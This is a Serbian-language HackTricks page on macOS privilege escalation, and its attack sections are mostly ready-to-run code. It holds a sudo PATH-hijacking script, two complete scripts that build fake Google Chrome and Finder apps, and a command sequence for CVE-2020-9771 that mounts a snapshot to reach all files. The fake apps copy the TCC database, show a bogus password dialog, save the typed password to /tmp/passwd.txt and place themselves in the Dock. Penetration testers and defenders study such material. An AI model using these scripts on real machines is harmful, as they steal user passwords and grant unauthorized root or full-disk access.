hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md

# macOS Privilege Escalation

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## TCC Privilege Escalation

Ako ste došli ovde tražeći TCC eskalaciju privilegija, idite na:

{% content-ref url="macos-security-protections/macos-tcc/" %}
[macos-tcc](macos-security-protections/macos-tcc/)
{% endcontent-ref %}

## Linux Privesc

Imajte na umu da **većina trikova o eskalaciji privilegija koji utiču na Linux/Unix će takođe uticati na MacOS** mašine. Tako da pogledajte:

{% content-ref url="../../linux-hardening/privilege-escalation/" %}
[privilege-escalation](../../linux-hardening/privilege-escalation/)
{% endcontent-ref %}

## User Interaction

### Sudo Hijacking

Možete pronaći originalnu [Sudo Hijacking tehniku unutar posta o Linux eskalaciji privilegija](../../linux-hardening/privilege-escalation/#sudo-hijacking).

Međutim, macOS **održava** korisnikov **`PATH`** kada izvršava **`sudo`**. Što znači da bi drugi način za postizanje ovog napada bio da se **otmu drugi binarni fajlovi** koje žrtva još uvek izvršava kada **pokreće sudo:**
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls
```
Napomena da korisnik koji koristi terminal verovatno ima **Homebrew instaliran**. Tako da je moguće preuzeti binarne datoteke u **`/opt/homebrew/bin`**.

### Imitacija Dock-a

Korišćenjem nekih **socijalnih inženjeringa** mogli biste **imitirati na primer Google Chrome** unutar dock-a i zapravo izvršiti svoj skript:

{% tabs %}
{% tab title="Imitacija Chrome-a" %}
Neki predlozi:

* Proverite u Dock-u da li postoji Chrome, i u tom slučaju **uklonite** tu stavku i **dodajte** **lažnu** **Chrome stavku na istu poziciju** u Dock nizu.&#x20;
```bash
#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock
```
{% endtab %}

{% tab title="Finder Impersonacija" %}
Neki predlozi:

* Ne **možete ukloniti Finder iz Dock-a**, pa ako planirate da ga dodate u Dock, možete staviti lažni Finder odmah pored pravog. Za to treba da **dodate lažni Finder unos na početak Dock niza**.
* Druga opcija je da ga ne stavljate u Dock i samo ga otvorite, "Finder traži da kontroliše Finder" nije tako čudno.
* Još jedna opcija za **eskalaciju na root bez traženja** lozinke sa užasnom porukom, je da naterate Findera da stvarno traži lozinku za obavljanje privilegovane akcije:
* Zatražite od Findera da kopira u **`/etc/pam.d`** novu **`sudo`** datoteku (Poruka koja traži lozinku će ukazati da "Finder želi da kopira sudo")
* Zatražite od Findera da kopira novi **Authorization Plugin** (Možete kontrolisati ime datoteke tako da poruka koja traži lozinku ukazuje da "Finder želi da kopira Finder.bundle")
```bash
#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';

rm -rf /tmp/Finder.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources

# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c

chmod +x /tmp/Finder.app/Contents/MacOS/Finder

# Info.plist
cat << EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock
```
{% endtab %}
{% endtabs %}

## TCC - Eskalacija privilegija za root

### CVE-2020-9771 - mount\_apfs TCC zaobilaženje i eskalacija privilegija

**Bilo koji korisnik** (čak i oni bez privilegija) može kreirati i montirati snapshot vremenske mašine i **pristupiti SVIM datotekama** tog snapshot-a.\
**Jedina privilegija** koja je potrebna je da aplikacija koja se koristi (kao što je `Terminal`) ima **Pristup celom disku** (FDA) (`kTCCServiceSystemPolicyAllfiles`) koji mora odobriti administrator. 

{% code overflow="wrap" %}
```bash
# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}

Detaljnije objašnjenje može se [**pronaći u originalnom izveštaju**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**

## Osetljive informacije

Ovo može biti korisno za eskalaciju privilegija:

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
{% endcontent-ref %}

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